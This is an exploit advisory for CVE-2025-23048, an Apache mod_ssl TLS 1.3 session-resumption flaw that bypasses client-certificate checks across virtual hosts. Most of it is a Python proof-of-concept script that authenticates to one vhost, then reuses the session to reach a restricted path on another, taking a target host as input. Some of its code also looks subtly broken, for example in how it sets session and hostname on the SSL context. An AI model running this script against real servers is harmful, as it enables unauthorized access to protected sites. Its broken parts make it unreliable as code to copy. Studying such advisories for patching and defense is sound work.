============================================================================================================================================= | # Title : Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://httpd.apache.org/docs/current/mod/mod_ssl.html | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210763/ & CVE-2025-23048 [+] Summary : A flaw in Apache mod_ssl TLS 1.3 session resumption allows a client-authenticated TLS session to be resumed across different virtual hosts without re-validating the client certificate or trusted CA configuration. [+] Impact: An attacker with a valid client certificate for one virtual host can gain unauthorized access to another virtual host protected by a different CA. [+] Attack Vector: - TLS 1.3 Session Resumption - Client Certificate Authentication - Multiple Virtual Hosts [+] Tested Environment: - Apache HTTPD with mod_ssl - TLS 1.3 enabled - Client Certificate Authentication enabled - Multiple vhosts with different CA trust stores [+] POC : #!/usr/bin/env python3 import ssl import socket import sys import argparse from typing import Optional, Tuple import time class CVE2025_23048_Exploit: def __init__(self, host: str, port: int = 443): self.host = host self.port = port self.session_data = None def create_ssl_context(self, certfile: Optional[str] = None, keyfile: Optional[str] = None, cafile: Optional[str] = None, server_hostname: Optional[str] = None) -> ssl.SSLContext: """Create SSL context with specified parameters""" context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.minimum_version = ssl.TLSVersion.TLSv1_3 context.maximum_version = ssl.TLSVersion.TLSv1_3 context.check_hostname = False context.verify_mode = ssl.CERT_NONE if cafile: context.load_verify_locations(cafile) context.verify_mode = ssl.CERT_REQUIRED if certfile and keyfile: context.load_cert_chain(certfile, keyfile) if server_hostname: context.server_hostname = server_hostname return context def perform_full_handshake(self, vhost: str, certfile: str, keyfile: str, cafile: str) -> Tuple[bool, bytes]: """ Perform full TLS 1.3 handshake with client certificate Returns: (success, session_data) """ print(f"[+] Performing full TLS 1.3 handshake with {vhost}") context = self.create_ssl_context( certfile=certfile, keyfile=keyfile, cafile=cafile, server_hostname=vhost ) try: # Create socket and wrap with SSL sock = socket.create_connection((self.host, self.port)) ssl_sock = context.wrap_socket(sock, server_hostname=vhost) # Get session data for resumption self.session_data = ssl_sock.session # Test access request = f"GET / HTTP/1.1\r\nHost: {vhost}\r\n\r\n" ssl_sock.send(request.encode()) response = ssl_sock.recv(4096) print(f"[*] Connected to {vhost}") print(f"[*] HTTP Status: {response.decode().split('\\r\\n')[0]}") print(f"[*] Session ticket captured: {self.session_data is not None}") ssl_sock.close() return True, self.session_data except Exception as e: print(f"[-] Error during full handshake: {e}") return False, None def resume_session(self, vhost: str, session_data: bytes, cafile: Optional[str] = None, protected_path: str = "/") -> bool: """ Resume TLS session to different vhost Returns: True if bypass successful """ print(f"\n[+] Attempting session resumption to {vhost}") context = self.create_ssl_context( cafile=cafile, server_hostname=vhost ) try: # Set the session for resumption context.session = session_data # Connect with session resumption sock = socket.create_connection((self.host, self.port)) ssl_sock = context.wrap_socket(sock, server_hostname=vhost) # Check if session was resumed if ssl_sock.session_reused: print(f"[!] SUCCESS: Session resumed to {vhost}") # Try to access protected resource request = f"GET {protected_path} HTTP/1.1\r\nHost: {vhost}\r\n\r\n" ssl_sock.send(request.encode()) response = ssl_sock.recv(8192) response_str = response.decode('utf-8', errors='ignore') status_line = response_str.split('\r\n')[0] print(f"[*] HTTP Response: {status_line}") # Check if access was granted if "200 OK" in status_line: print(f"[!] CRITICAL: Unauthorized access successful!") print(f"[!] Accessed {protected_path} on {vhost} without valid certificate") # Extract some response content if "Vhost2 Secret" in response_str or "Restricted" in response_str: print(f"[!] Confirmed access to protected content!") # Print snippet of response lines = response_str.split('\r\n') for line in lines[-10:]: # Last 10 lines if line.strip(): print(f" Content: {line[:100]}...") return True else: print(f"[-] Access denied: {status_line}") return False else: print("[-] Session was not resumed (full handshake occurred)") return False except Exception as e: print(f"[-] Error during session resumption: {e}") return False def exploit(self, vhost1: str, cert1: str, key1: str, ca1: str, vhost2: str, ca2: str, protected_path: str = "/restricted/"): """ Complete exploitation chain """ print(f""" ╔════════════════════════════════════════════════════════════════════════════════╗ ║ Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka ║ ╚════════════════════════════════════════════════════════════════════════════════╝ Target: {self.host}:{self.port} Vhost1: {vhost1} (Legitimate access with CA1) Vhost2: {vhost2} (Should require CA2) Protected Path: {protected_path} """) # Step 1: Authenticate to vhost1 print("\n" + "="*60) print("STEP 1: Legitimate authentication to first vhost") print("="*60) success, session = self.perform_full_handshake(vhost1, cert1, key1, ca1) if not success or not session: print("[-] Failed to establish initial session") return False # Small delay time.sleep(1) # Step 2: Resume session to vhost2 print("\n" + "="*60) print("STEP 2: Session resumption attack on second vhost") print("="*60) # Try with CA2 (should fail in proper validation) # But with the vulnerability, session will be resumed without validation bypass_success = self.resume_session( vhost2, session, ca2, # This CA won't be properly checked during resumption protected_path ) # Try also without any CA file (shouldn't work but demonstrates the bug) print("\n" + "="*60) print("STEP 3: Testing without any CA validation") print("="*60) bypass_without_ca = self.resume_session( vhost2, session, None, # No CA file at all protected_path ) if bypass_success or bypass_without_ca: print("\n[!] EXPLOIT SUCCESSFUL!") print("[!] Client certificate authentication was bypassed") return True else: print("\n[-] Exploit failed") return False def main(): parser = argparse.ArgumentParser( description="Apache mod_ssl TLS 1.3 Client Certificate Authentication Bypass By indoushka" ) parser.add_argument("--host", required=True, help="Target Apache server IP") parser.add_argument("--port", type=int, default=443, help="HTTPS port (default: 443)") parser.add_argument("--vhost1", required=True, help="First virtual hostname") parser.add_argument("--cert1", required=True, help="Client certificate for vhost1") parser.add_argument("--key1", required=True, help="Client private key for vhost1") parser.add_argument("--ca1", required=True, help="CA certificate for vhost1") parser.add_argument("--vhost2", required=True, help="Second virtual hostname to attack") parser.add_argument("--ca2", required=True, help="CA certificate that vhost2 should trust") parser.add_argument("--path", default="/restricted/", help="Protected path on vhost2") args = parser.parse_args() # Check if required files exist import os for file in [args.cert1, args.key1, args.ca1, args.ca2]: if not os.path.exists(file): print(f"[-] File not found: {file}") return exploit = CVE2025_23048_Exploit(args.host, args.port) exploit.exploit( vhost1=args.vhost1, cert1=args.cert1, key1=args.key1, ca1=args.ca1, vhost2=args.vhost2, ca2=args.ca2, protected_path=args.path ) if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================